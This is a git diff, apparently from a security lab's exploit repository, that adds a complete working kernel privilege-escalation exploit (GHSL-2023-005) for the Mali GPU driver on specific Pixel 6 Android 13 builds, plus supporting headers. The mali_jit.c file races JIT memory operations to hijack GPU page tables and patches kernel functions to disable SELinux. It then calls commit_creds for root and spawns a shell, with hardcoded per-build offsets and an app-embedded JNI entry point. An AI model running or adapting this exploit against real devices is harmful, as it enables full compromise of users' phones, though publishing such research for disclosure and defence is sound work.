+	BASE_JD_EVENT_RANGE_SW_SUCCESS_START = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_SUCCESS | 0x000,
+
+	BASE_JD_EVENT_PROGRESS_REPORT = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_JOB | 0x000,
+	BASE_JD_EVENT_BAG_DONE = BASE_JD_SW_EVENT | BASE_JD_SW_EVENT_SUCCESS |
+		BASE_JD_SW_EVENT_BAG | 0x000,
+	BASE_JD_EVENT_DRV_TERMINATED = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_INFO | 0x000,
+
+	BASE_JD_EVENT_RANGE_SW_SUCCESS_END = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_SUCCESS | BASE_JD_SW_EVENT_RESERVED | 0x3FF,
+
+	BASE_JD_EVENT_RANGE_KERNEL_ONLY_START = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_KERNEL | 0x000,
+	BASE_JD_EVENT_REMOVED_FROM_NEXT = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x000,
+	BASE_JD_EVENT_END_RP_DONE = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_JOB | 0x001,
+
+	BASE_JD_EVENT_RANGE_KERNEL_ONLY_END = BASE_JD_SW_EVENT |
+		BASE_JD_SW_EVENT_KERNEL | BASE_JD_SW_EVENT_RESERVED | 0x3FF
+};
+
+/**
+ * struct base_jd_event_v2 - Event reporting structure
+ *
+ * @event_code:  event code.
+ * @atom_number: the atom number that has completed.
+ * @udata:       user data.
+ *
+ * This structure is used by the kernel driver to report information
+ * about GPU events. They can either be HW-specific events or low-level
+ * SW events, such as job-chain completion.
+ *
+ * The event code contains an event type field which can be extracted
+ * by ANDing with BASE_JD_SW_EVENT_TYPE_MASK.
+ */
+struct base_jd_event_v2 {
+	enum base_jd_event_code event_code;
+	base_atom_id atom_number;
+	struct base_jd_udata udata;
+};
+
+/**
+ * struct base_dump_cpu_gpu_counters - Structure for
+ *                                     BASE_JD_REQ_SOFT_DUMP_CPU_GPU_COUNTERS
+ *                                     jobs.
+ * @system_time:   gpu timestamp
+ * @cycle_counter: gpu cycle count
+ * @sec:           cpu time(sec)
+ * @usec:          cpu time(usec)
+ * @padding:       padding
+ *
+ * This structure is stored into the memory pointed to by the @jc field
+ * of &struct base_jd_atom.
+ *
+ * It must not occupy the same CPU cache line(s) as any neighboring data.
+ * This is to avoid cases where access to pages containing the structure
+ * is shared between cached and un-cached memory regions, which would
+ * cause memory corruption.
+ */
+
+struct base_dump_cpu_gpu_counters {
+	__u64 system_time;
+	__u64 cycle_counter;
+	__u64 sec;
+	__u32 usec;
+	__u8 padding[36];
+};
+
+#endif /* _UAPI_BASE_JM_KERNEL_H_ */
+
diff --git a/SecurityExploits/Android/Mali/GHSL-2023-005/mali_jit.c b/SecurityExploits/Android/Mali/GHSL-2023-005/mali_jit.c
new file mode 100644
index 0000000..ba87406
--- /dev/null
+++ b/SecurityExploits/Android/Mali/GHSL-2023-005/mali_jit.c
@@ -0,0 +1,659 @@
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/mman.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include "stdbool.h"
+#include <sys/system_properties.h>
+#include <sys/syscall.h>
+#include <pthread.h>
+
+#include "mali.h"
+#include "mali_base_jm_kernel.h"
+#include "midgard.h"
+
+#ifdef SHELL
+#define LOG(fmt, ...) printf(fmt, ##__VA_ARGS__)
+#else
+#include <android/log.h>
+#define LOG(fmt, ...) __android_log_print(ANDROID_LOG_ERROR, "exploit", fmt, ##__VA_ARGS__)
+
+#endif //SHELL
+
+#define MALI "/dev/mali0"
+
+#define PAGE_SHIFT 12
+
+#define PFN_DOWN(x)	((x) >> PAGE_SHIFT)
+
+#define FREED_NUM 1
+
+#define FLUSH_SIZE (0x1000 * 0x1000)
+
+#define POOL_SIZE 16384
+
+#define RESERVED_SIZE 32
+
+#define TOTAL_RESERVED_SIZE 1024
+
+#define FLUSH_REGION_SIZE 500
+
+#define GROW_SIZE 0x2000
+
+#define RECLAIM_SIZE (3 * POOL_SIZE)
+
+#define JIT_PAGES 0x1000000
+
+#define JIT_GROUP_ID 1
+
+#define KERNEL_BASE 0x80000000
+
+#define OVERWRITE_INDEX 256
+
+#define ADRP_INIT_INDEX 0
+
+#define ADD_INIT_INDEX 1
+
+#define ADRP_COMMIT_INDEX 2
+
+#define ADD_COMMIT_INDEX 3
+
+#define AVC_DENY_2211 0x8d6810
+
+#define SEL_READ_ENFORCE_2211 0x8ea124
+
+#define INIT_CRED_2211 0x2fd1388
+
+#define COMMIT_CREDS_2211 0x17ada4
+
+#define ADD_INIT_2211 0x910e2000 //add x0, x0, #0x388
+
+#define ADD_COMMIT_2211 0x91369108 //add x8, x8, #0xda4
+
+#define AVC_DENY_2212 0x8ba710
+
+#define SEL_READ_ENFORCE_2212 0x8cdfd4
+
+#define INIT_CRED_2212 0x2fd1418
+
+#define COMMIT_CREDS_2212 0x177ee4
+
+#define ADD_INIT_2212 0x91106000 //add x0, x0, #0x418
+
+#define ADD_COMMIT_2212 0x913b9108 //add x8, x8, #0xee4
+
+#define AVC_DENY_2301 0x8ba710
+
+#define SEL_READ_ENFORCE_2301 0x8cdfd4
+
+#define INIT_CRED_2301 0x2fd1418
+
+#define COMMIT_CREDS_2301 0x177ee4
+
+#define ADD_INIT_2301 0x91106000 //add x0, x0, #0x418
+
+#define ADD_COMMIT_2301 0x913b9108 //add x8, x8, #0xee4
+
+static uint64_t sel_read_enforce = SEL_READ_ENFORCE_2301;
+
+static uint64_t avc_deny = AVC_DENY_2301;
+
+/*
+Overwriting SELinux to permissive
+  strb wzr, [x0]
+  mov x0, #0
+  ret
+*/
+static uint32_t permissive[3] = {0x3900001f, 0xd2800000,0xd65f03c0};
+
+static uint32_t root_code[8] = {0};
+
+static uint8_t atom_number = 1;
+static void* flush_regions[FLUSH_REGION_SIZE];
+static uint64_t reclaim_va[RECLAIM_SIZE];
+static uint64_t reserved[TOTAL_RESERVED_SIZE/RESERVED_SIZE];
+static bool commit_failed = false;
+static bool g_ready_commit = false;
+
+struct base_mem_handle {
+	struct {
+		__u64 handle;
+	} basep;
+};
+
+struct base_mem_aliasing_info {
+	struct base_mem_handle handle;
+	__u64 offset;
+	__u64 length;
+};
+
+static int open_dev(char* name) {
+  int fd = open(name, O_RDWR);
+  if (fd == -1) {
+    err(1, "cannot open %s\n", name);
+  }
+  return fd;
+}
+
+uint8_t increase_atom_number() {
+  uint8_t out = atom_number;
+  if (++atom_number == 0) {
+    atom_number++;
+  }
+  return out;
+}
+
+void setup_mali(int fd, int group_id) {
+  struct kbase_ioctl_version_check param = {0};
+  if (ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &param) < 0) {
+    err(1, "version check failed\n");
+  }
+  struct kbase_ioctl_set_flags set_flags = {group_id << 3};
+  if (ioctl(fd, KBASE_IOCTL_SET_FLAGS, &set_flags) < 0) {
+    err(1, "set flags failed\n");
+  }
+}
+
+void* setup_tracking_page(int fd) {
+  void* region = mmap(NULL, 0x1000, 0, MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE);
+  if (region == MAP_FAILED) {
+    err(1, "setup tracking page failed");
+  }
+  return region;
+}
+
+void jit_init(int fd, uint64_t va_pages, uint64_t trim_level, int group_id) {
+  struct kbase_ioctl_mem_jit_init init = {0};
+  init.va_pages = va_pages;
+  init.max_allocations = 255;
+  init.trim_level = trim_level;
+  init.group_id = group_id;
+  init.phys_pages = va_pages;
+
+  if (ioctl(fd, KBASE_IOCTL_MEM_JIT_INIT, &init) < 0) {
+    err(1, "jit init failed\n");
+  }
+}
+
+uint64_t jit_allocate(int fd, uint8_t atom_number, uint8_t id, uint64_t va_pages, uint64_t commit_pages, uint8_t bin_id, uint16_t usage_id, uint64_t gpu_alloc_addr) {
+  struct base_jit_alloc_info info = {0};
+  struct base_jd_atom_v2 atom = {0};
+  
+  info.id = id;
+  info.gpu_alloc_addr = gpu_alloc_addr;
+  info.va_pages = va_pages;
+  info.commit_pages = commit_pages;
+  info.extension = 0x1000;
+  info.bin_id = bin_id;
+  info.usage_id = usage_id;
+
+  atom.jc = (uint64_t)(&info);
+  atom.atom_number = atom_number;
+  atom.core_req = BASE_JD_REQ_SOFT_JIT_ALLOC;
+  atom.nr_extres = 1;
+  struct kbase_ioctl_job_submit submit = {0};
+  submit.addr = (uint64_t)(&atom);
+  submit.nr_atoms = 1;
+  submit.stride = sizeof(struct base_jd_atom_v2);
+  if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
+    err(1, "submit job failed\n");
+  }
+  return *((uint64_t*)gpu_alloc_addr); 
+}
+
+void jit_free(int fd, uint8_t atom_number, uint8_t id) {
+  uint8_t free_id = id;
+
+  struct base_jd_atom_v2 atom = {0};
+
+  atom.jc = (uint64_t)(&free_id);
+  atom.atom_number = atom_number;
+  atom.core_req = BASE_JD_REQ_SOFT_JIT_FREE;
+  atom.nr_extres = 1;
+  struct kbase_ioctl_job_submit submit = {0};
+  submit.addr = (uint64_t)(&atom);
+  submit.nr_atoms = 1;
+  submit.stride = sizeof(struct base_jd_atom_v2);
+  if (ioctl(fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
+    err(1, "submit job failed\n");
+  }
+    
+}
+
+void mem_flags_change(int fd, uint64_t gpu_addr, uint32_t flags, int ignore_results) {
+  struct kbase_ioctl_mem_flags_change change = {0};
+  change.flags = flags;
+  change.gpu_va = gpu_addr;
+  change.mask = flags;
+  if (ignore_results) {
+    ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change);
+    return;
+  }
+  if (ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &change) < 0) {
+    err(1, "flags_change failed\n");
+  }
+}
+
+void mem_alloc(int fd, union kbase_ioctl_mem_alloc* alloc) {
+  if (ioctl(fd, KBASE_IOCTL_MEM_ALLOC, alloc) < 0) {
+    err(1, "mem_alloc failed\n");
+  }
+}
+
+void mem_alias(int fd, union kbase_ioctl_mem_alias* alias) {
+  if (ioctl(fd, KBASE_IOCTL_MEM_ALIAS, alias) < 0) {
+    err(1, "mem_alias failed\n");
+  }
+}
+
+void mem_query(int fd, union kbase_ioctl_mem_query* query) {
+  if (ioctl(fd, KBASE_IOCTL_MEM_QUERY, query) < 0) {
+    err(1, "mem_query failed\n");
+  }
+}
+
+void mem_commit(int fd, uint64_t gpu_addr, uint64_t pages) {
+  struct kbase_ioctl_mem_commit commit = {.gpu_addr = gpu_addr, pages = pages};
+  if (ioctl(fd, KBASE_IOCTL_MEM_COMMIT, &commit) < 0) {
+    LOG("commit failed\n");
+    commit_failed = true;
+  }
+}
+
+void* map_gpu(int mali_fd, unsigned int va_pages, unsigned int commit_pages, bool read_only, int group) {
+  union kbase_ioctl_mem_alloc alloc = {0};
+  alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | (group << 22);
+  int prot = PROT_READ;
+  if (!read_only) {
+    alloc.in.flags |= BASE_MEM_PROT_GPU_WR;
+    prot |= PROT_WRITE;
+  }
+  alloc.in.va_pages = va_pages;
+  alloc.in.commit_pages = commit_pages;
+  mem_alloc(mali_fd, &alloc);
+  void* region = mmap(NULL, 0x1000 * va_pages, prot, MAP_SHARED, mali_fd, alloc.out.gpu_va);
+  if (region == MAP_FAILED) {
+    err(1, "mmap failed");
+  }
+  return region;
+}
+
+uint64_t alloc_mem(int mali_fd, unsigned int pages) {
+  union kbase_ioctl_mem_alloc alloc = {0};
+  alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR;
+  int prot = PROT_READ | PROT_WRITE;
+  alloc.in.va_pages = pages;
+  alloc.in.commit_pages = pages;
+  mem_alloc(mali_fd, &alloc);
+  return alloc.out.gpu_va;
+}
+
+void free_mem(int mali_fd, uint64_t gpuaddr) {
+  struct kbase_ioctl_mem_free mem_free = {.gpu_addr = gpuaddr};
+  if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) {
+    err(1, "free_mem failed\n");
+  }
+}
+
+uint64_t drain_mem_pool(int mali_fd) {
+  union kbase_ioctl_mem_alloc alloc = {0};
+  alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22);
+  int prot = PROT_READ | PROT_WRITE;
+  alloc.in.va_pages = POOL_SIZE;
+  alloc.in.commit_pages = POOL_SIZE;
+  mem_alloc(mali_fd, &alloc);
+  return alloc.out.gpu_va;
+}
+
+void release_mem_pool(int mali_fd, uint64_t drain) {
+  struct kbase_ioctl_mem_free mem_free = {.gpu_addr = drain};
+  if (ioctl(mali_fd, KBASE_IOCTL_MEM_FREE, &mem_free) < 0) {
+    err(1, "free_mem failed\n");
+  }
+}
+
+void* flush(int idx) {
+  void* region = mmap(NULL, FLUSH_SIZE, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
+  if (region == MAP_FAILED) err(1, "flush failed");
+  memset(region, idx, FLUSH_SIZE);
+  return region;
+}
+
+void reserve_pages(int mali_fd, int pages, int nents, uint64_t* reserved_va) {
+  for (int i = 0; i < nents; i++) {
+    union kbase_ioctl_mem_alloc alloc = {0};
+    alloc.in.flags = BASE_MEM_PROT_CPU_RD | BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR | BASE_MEM_PROT_GPU_WR | (1 << 22);
+    int prot = PROT_READ | PROT_WRITE;
+    alloc.in.va_pages = pages;
+    alloc.in.commit_pages = pages;
+    mem_alloc(mali_fd, &alloc);
+    reserved_va[i] = alloc.out.gpu_va;
+  }
+}
+
+void map_reserved(int mali_fd, int pages, int nents, uint64_t* reserved_va) {
+  for (int i = 0; i < nents; i++) {
+    void* reserved = mmap(NULL, 0x1000 * pages, PROT_READ | PROT_WRITE, MAP_SHARED, mali_fd, reserved_va[i]);
+    if (reserved == MAP_FAILED) {
+      err(1, "mmap reserved failed");
+    }
+    reserved_va[i] = (uint64_t)reserved;
+  }
+}
+
+uint32_t lo32(uint64_t x) {
+  return x & 0xffffffff;
+}
+
+uint32_t hi32(uint64_t x) {
+  return x >> 32;
+}
+
+uint32_t write_adrp(int rd, uint64_t pc, uint64_t label) {
+  uint64_t pc_page = pc >> 12;
+  uint64_t label_page = label >> 12;
+  int64_t offset = (label_page - pc_page) << 12;
+  int64_t immhi_mask = 0xffffe0;
+  int64_t immhi = offset >> 14;
+  int32_t immlo = (offset >> 12) & 0x3;
+  uint32_t adpr = rd & 0x1f;
+  adpr |= (1 << 28);
+  adpr |= (1 << 31); //op
+  adpr |= immlo << 29;
+  adpr |= (immhi_mask & (immhi << 5));
+  return adpr;
+}
+
+void fixup_root_shell(uint64_t init_cred, uint64_t commit_cred, uint64_t read_enforce, uint32_t add_init, uint32_t add_commit) {
+
+  uint32_t init_adpr = write_adrp(0, read_enforce, init_cred);
+  //Sets x0 to init_cred
+  root_code[ADRP_INIT_INDEX] = init_adpr;
+  root_code[ADD_INIT_INDEX] = add_init;
+  //Sets x8 to commit_creds
+  root_code[ADRP_COMMIT_INDEX] = write_adrp(8, read_enforce, commit_cred);
+  root_code[ADD_COMMIT_INDEX] = add_commit;
+  root_code[4] = 0xa9bf7bfd; // stp x29, x30, [sp, #-0x10]
+  root_code[5] = 0xd63f0100; // blr x8
+  root_code[6] = 0xa8c17bfd; // ldp x29, x30, [sp], #0x10
+  root_code[7] = 0xd65f03c0; // ret
+}
+
+uint64_t set_addr_lv3(uint64_t addr) {
+  uint64_t pfn = addr >> PAGE_SHIFT;
+  pfn &= ~ 0x1FFUL;
+  pfn |= 0x100UL;
+  return pfn << PAGE_SHIFT;
+}
+
+static inline uint64_t compute_pt_index(uint64_t addr, int level) {
+  uint64_t vpfn = addr >> PAGE_SHIFT;
+  vpfn >>= (3 - level) * 9;
+  return vpfn & 0x1FF;
+}
+
+void write_to(int mali_fd, uint64_t gpu_addr, uint64_t value, int atom_number, enum mali_write_value_type type) {
+  void* jc_region = map_gpu(mali_fd, 1, 1, false, 0);
+  struct MALI_JOB_HEADER jh = {0};
+  jh.is_64b = true;
+  jh.type = MALI_JOB_TYPE_WRITE_VALUE;
+  
+  struct MALI_WRITE_VALUE_JOB_PAYLOAD payload = {0};
+  payload.type = type;
+  payload.immediate_value = value;
+  payload.address = gpu_addr;
+
+  MALI_JOB_HEADER_pack((uint32_t*)jc_region, &jh);
+  MALI_WRITE_VALUE_JOB_PAYLOAD_pack((uint32_t*)jc_region + 8, &payload);
+  uint32_t* section = (uint32_t*)jc_region;
+  struct base_jd_atom_v2 atom = {0};
+  atom.jc = (uint64_t)jc_region;
+  atom.atom_number = atom_number;
+  atom.core_req = BASE_JD_REQ_CS;
+  struct kbase_ioctl_job_submit submit = {0};
+  submit.addr = (uint64_t)(&atom);
+  submit.nr_atoms = 1;
+  submit.stride = sizeof(struct base_jd_atom_v2);
+  if (ioctl(mali_fd, KBASE_IOCTL_JOB_SUBMIT, &submit) < 0) {
+    err(1, "submit job failed\n");
+  }
+  usleep(10000);
+}
+
+void write_func(int mali_fd, uint64_t func, uint64_t* reserved, uint64_t size, uint32_t* shellcode, uint64_t code_size) {
+  uint64_t func_offset = (func + KERNEL_BASE) % 0x1000;
+  uint64_t curr_overwrite_addr = 0;
+  for (int i = 0; i < size; i++) {
+    uint64_t base = reserved[i];
+    uint64_t end = reserved[i] + RESERVED_SIZE * 0x1000;
+    uint64_t start_idx = compute_pt_index(base, 3);
+    uint64_t end_idx = compute_pt_index(end, 3);
+    for (uint64_t addr = base; addr < end; addr += 0x1000) {
+      uint64_t overwrite_addr = set_addr_lv3(addr);
+      if (curr_overwrite_addr != overwrite_addr) {
+        LOG("overwrite addr : %lx %lx\n", overwrite_addr + func_offset, func_offset);
+        curr_overwrite_addr = overwrite_addr;
+        for (int code = code_size - 1; code >= 0; code--) {
+          write_to(mali_fd, overwrite_addr + func_offset + code * 4, shellcode[code], increase_atom_number(), MALI_WRITE_VALUE_TYPE_IMMEDIATE_32);
+        }
+        usleep(300000);
+      }
+    }
+  }
+}
+
+int run_enforce() {
+  char result = '2';
+  sleep(3);
+  int enforce_fd = open("/sys/fs/selinux/enforce", O_RDONLY);
+  read(enforce_fd, &result, 1);
+  close(enforce_fd);
+  LOG("result %d\n", result);
+  return result;
+}
+
+void select_offset() {
+  char fingerprint[256];
+  int len = __system_property_get("ro.build.fingerprint", fingerprint);
+  LOG("fingerprint: %s\n", fingerprint);
+  if (!strcmp(fingerprint, "google/oriole/oriole:13/TP1A.221105.002/9080065:user/release-keys")) {
+    avc_deny = AVC_DENY_2211;
+    sel_read_enforce = SEL_READ_ENFORCE_2211;
+    fixup_root_shell(INIT_CRED_2211, COMMIT_CREDS_2211, SEL_READ_ENFORCE_2211, ADD_INIT_2211, ADD_COMMIT_2211);
+    return;
+  }
+  if (!strcmp(fingerprint, "google/oriole/oriole:13/TQ1A.221205.011/9244662:user/release-keys")) {
+    avc_deny = AVC_DENY_2212;
+    sel_read_enforce = SEL_READ_ENFORCE_2212;
+    fixup_root_shell(INIT_CRED_2212, COMMIT_CREDS_2212, SEL_READ_ENFORCE_2212, ADD_INIT_2212, ADD_COMMIT_2212);
+    return;
+  }
+  if (!strcmp(fingerprint, "google/oriole/oriole:13/TQ1A.230105.002/9325679:user/release-keys")) {
+    avc_deny = AVC_DENY_2301;
+    sel_read_enforce = SEL_READ_ENFORCE_2301;
+    fixup_root_shell(INIT_CRED_2301, COMMIT_CREDS_2301, SEL_READ_ENFORCE_2301, ADD_INIT_2301, ADD_COMMIT_2301);
+    return;
+  }
+  err(1, "unable to match build id\n");
+}
+
+void cleanup(int mali_fd, uint64_t pgd) {
+  write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), 2, increase_atom_number(), MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+}
+
+void write_shellcode(int mali_fd, int mali_fd2, uint64_t pgd, uint64_t* reserved) {
+  uint64_t avc_deny_addr = (((avc_deny + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
+  write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), avc_deny_addr, increase_atom_number(), MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+
+  usleep(100000);
+  //Go through the reserve pages addresses to write to avc_denied with our own shellcode
+  write_func(mali_fd2, avc_deny, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(permissive[0]), sizeof(permissive)/sizeof(uint32_t));
+
+  //Triggers avc_denied to disable SELinux
+  open("/dev/kmsg", O_RDONLY);
+
+  uint64_t sel_read_enforce_addr = (((sel_read_enforce + KERNEL_BASE) >> PAGE_SHIFT) << PAGE_SHIFT)| 0x443;
+  write_to(mali_fd, pgd + OVERWRITE_INDEX * sizeof(uint64_t), sel_read_enforce_addr, increase_atom_number(), MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+
+  //Call commit_creds to overwrite process credentials to gain root
+  write_func(mali_fd2, sel_read_enforce, reserved, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(root_code[0]), sizeof(root_code)/sizeof(uint32_t));
+}
+
+void* shrink_jit_mem(void* args) {
+  uint64_t* arguments = (uint64_t*)args;
+  int mali_fd = arguments[0];
+  uint64_t gpu_addr = arguments[1];
+  uint64_t pages = arguments[2];
+  while (!g_ready_commit) {};
+  usleep(10000);
+  mem_commit(mali_fd, gpu_addr, pages);
+  return NULL;
+}
+
+void reclaim_freed_pages(int mali_fd) {
+  for (int i = 0; i < RECLAIM_SIZE; i++) {
+    reclaim_va[i] = (uint64_t)map_gpu(mali_fd, 1, 1, false, JIT_GROUP_ID);
+    uint64_t* this_va = (uint64_t*)(reclaim_va[i]);
+    *this_va = 0;
+  }
+}
+
+uint64_t find_freed_region(int* idx) {
+  *idx = -1;
+  for (int i = 0; i < RECLAIM_SIZE; i++) {
+    uint64_t* this_region = (uint64_t*)(reclaim_va[i]);
+    uint64_t val = *this_region;
+    if (val >= 0x41 && val < 0x41 + FREED_NUM) {
+      *idx = i;
+      return val - 0x41;
+    }
+  }
+  return -1;
+}
+
+int trigger(int mali_fd2) {
+
+  int mali_fd = open_dev(MALI);
+
+  setup_mali(mali_fd, 0);
+
+  void* tracking_page = setup_tracking_page(mali_fd);
+  jit_init(mali_fd, JIT_PAGES, 100, JIT_GROUP_ID);
+
+  g_ready_commit = false;
+  commit_failed = false;
+  atom_number = 1;
+  void* gpu_alloc_addr = map_gpu(mali_fd, 1, 1, false, 0);  
+  uint64_t first_jit_id = 1;
+  uint64_t second_jit_id = 2;
+
+  uint64_t jit_addr = jit_allocate(mali_fd, increase_atom_number(), first_jit_id, FREED_NUM, 0, 0, 0, (uint64_t)gpu_alloc_addr);
+  uint64_t jit_addr2 = jit_allocate(mali_fd, increase_atom_number(), second_jit_id, POOL_SIZE * 2, 512 - FREED_NUM, 1, 1, (uint64_t)gpu_alloc_addr); 
+
+  if (jit_addr % (512 * 0x1000) != 0 || jit_addr2 < jit_addr || jit_addr2 - jit_addr != FREED_NUM * 0x1000) {
+    LOG("incorrect memory layout\n");
+    LOG("jit_addr %lx %lx\n", jit_addr, jit_addr2);
+    err(1, "incorrect memory layout\n");
+  }
+
+  jit_free(mali_fd, increase_atom_number(), second_jit_id);
+  pthread_t thread;
+  uint64_t args[3];
+  args[0] = mali_fd;
+  args[1] = jit_addr2;
+  args[2] = 0;
+
+  pthread_create(&thread, NULL, &shrink_jit_mem, (void*)&(args[0]));
+  g_ready_commit = true;
+  jit_allocate(mali_fd, increase_atom_number(), second_jit_id, POOL_SIZE * 2, GROW_SIZE, 1, 1, (uint64_t)gpu_alloc_addr);
+
+  pthread_join(thread, NULL);
+  if (commit_failed) {
+    close(mali_fd);
+    return -1;
+  }
+  jit_free(mali_fd, increase_atom_number(), second_jit_id);
+  for (int i = 0; i < FLUSH_REGION_SIZE; i++) {
+    union kbase_ioctl_mem_query query = {0};
+    query.in.gpu_addr = jit_addr2;
+    query.in.query = KBASE_MEM_QUERY_COMMIT_SIZE;
+    flush_regions[i] = flush(i);
+    if (ioctl(mali_fd, KBASE_IOCTL_MEM_QUERY, &query) < 0) {
+      LOG("region freed\n");
+      reclaim_freed_pages(mali_fd);
+      uint64_t start_addr = jit_addr2 + 0x1000 * (512 - FREED_NUM);
+      for (int j = 0; j < FREED_NUM; j++) {
+        write_to(mali_fd, start_addr + j * 0x1000, 0x41 + j, increase_atom_number(), MALI_WRITE_VALUE_TYPE_IMMEDIATE_64);
+      }
+      int idx = -1;
+      uint64_t offset = find_freed_region(&idx);
+      if (offset == -1) {
+        LOG("unable to find region\n");
+        for (int r = 0; r < FLUSH_REGION_SIZE; r++) munmap(flush_regions[r], FLUSH_SIZE);
+        close(mali_fd);
+        return -1;
+      }
+      LOG("found region %d at %lx\n", idx, start_addr + offset * 0x1000);
+      uint64_t drain = drain_mem_pool(mali_fd);
+      release_mem_pool(mali_fd, drain);
+      munmap((void*)(reclaim_va[idx]), 0x1000);
+      mmap(NULL, 0x1000 * 0x1000, PROT_READ|PROT_WRITE,
+                                        MAP_PRIVATE|MAP_ANONYMOUS, -1, 0);
+      map_reserved(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
+      for (int r = 0; r < FLUSH_REGION_SIZE; r++) munmap(flush_regions[r], FLUSH_SIZE);
+
+      uint64_t pgd = start_addr + offset * 0x1000;
+      write_shellcode(mali_fd, mali_fd2, pgd, &(reserved[0]));
+      run_enforce();
+      cleanup(mali_fd, pgd);
+      return 0;
+    }
+  }
+  close(mali_fd);
+  return -1;
+}
+
+#ifdef SHELL
+
+int main() {
+  setbuf(stdout, NULL);
+  setbuf(stderr, NULL);
+
+  select_offset();
+
+  int mali_fd2 = open_dev(MALI);
+  setup_mali(mali_fd2, 1);
+  setup_tracking_page(mali_fd2);
+  reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
+  map_gpu(mali_fd2, 1, 1, false, 0);
+  if (!trigger(mali_fd2)) {
+    system("sh");
+  }
+}
+#else
+#include <jni.h>
+JNIEXPORT int JNICALL
+Java_com_example_hellojni_MaliExpService_stringFromJNI( JNIEnv* env, jobject thiz)
+{
+    setbuf(stdout, NULL);
+    setbuf(stderr, NULL);
+    select_offset();
+
+    int mali_fd2 = open_dev(MALI);
+    setup_mali(mali_fd2, 1);
+    setup_tracking_page(mali_fd2);
+    reserve_pages(mali_fd2, RESERVED_SIZE, TOTAL_RESERVED_SIZE/RESERVED_SIZE, &(reserved[0]));
+    map_gpu(mali_fd2, 1, 1, false, 0);
+    if (!trigger(mali_fd2)) {
+       LOG("uid: %d euid %d", getuid(), geteuid());
+       return 0;
+    }
+    return -1;
+}
+#endif
+
diff --git a/SecurityExploits/Android/Mali/GHSL-2023-005/midgard.h b/SecurityExploits/Android/Mali/GHSL-2023-005/midgard.h
new file mode 100644
index 0000000..e0ce432
--- /dev/null
+++ b/SecurityExploits/Android/Mali/GHSL-2023-005/midgard.h
@@ -0,0 +1,260 @@
+#ifndef MIDGARD_H
+#define MIDGARD_H
+
+//Generated using pandecode-standalone: https://gitlab.freedesktop.org/panfrost/pandecode-standalone
+
+#include <stdio.h>
+#include <stdint.h>
+#include <stdbool.h>
+#include <assert.h>
+#include <math.h>
+#include <inttypes.h>
+#include <string.h>
+
+#define pan_section_ptr(base, A, S) \
+        ((void *)((uint8_t *)(base) + MALI_ ## A ## _SECTION_ ## S ## _OFFSET))
+
+#define pan_section_pack(dst, A, S, name)                                                         \
+   for (MALI_ ## A ## _SECTION_ ## S ## _TYPE name = { MALI_ ## A ## _SECTION_ ## S ## _header }, \
+        *_loop_terminate = (void *) (dst);                                                        \
+        __builtin_expect(_loop_terminate != NULL, 1);                                             \
+        ({ MALI_ ## A ## _SECTION_ ## S ## _pack(pan_section_ptr(dst, A, S), &name);              \
+           _loop_terminate = NULL; }))
+
+
+static inline uint64_t
+__gen_uint(uint64_t v, uint32_t start, uint32_t end)
+{
+#ifndef NDEBUG
+   const int width = end - start + 1;
+   if (width < 64) {
+      const uint64_t max = (1ull << width) - 1;
+      assert(v <= max);
+   }
+#endif
+
+   return v << start;
+}
+
+static inline uint64_t
+__gen_unpack_uint(const uint8_t *restrict cl, uint32_t start, uint32_t end)
+{
+   uint64_t val = 0;
+   const int width = end - start + 1;
+   const uint64_t mask = (width == 64 ? ~0 : (1ull << width) - 1 );
+
+   for (int byte = start / 8; byte <= end / 8; byte++) {
+      val |= ((uint64_t) cl[byte]) << ((byte - start / 8) * 8);
+   }
+
+   return (val >> (start % 8)) & mask;
+}
+
+enum mali_job_type {
+        MALI_JOB_TYPE_NOT_STARTED            =      0,
+        MALI_JOB_TYPE_NULL                   =      1,
+        MALI_JOB_TYPE_WRITE_VALUE            =      2,
+        MALI_JOB_TYPE_CACHE_FLUSH            =      3,
+        MALI_JOB_TYPE_COMPUTE                =      4,
+        MALI_JOB_TYPE_VERTEX                 =      5,
+        MALI_JOB_TYPE_GEOMETRY               =      6,
+        MALI_JOB_TYPE_TILER                  =      7,
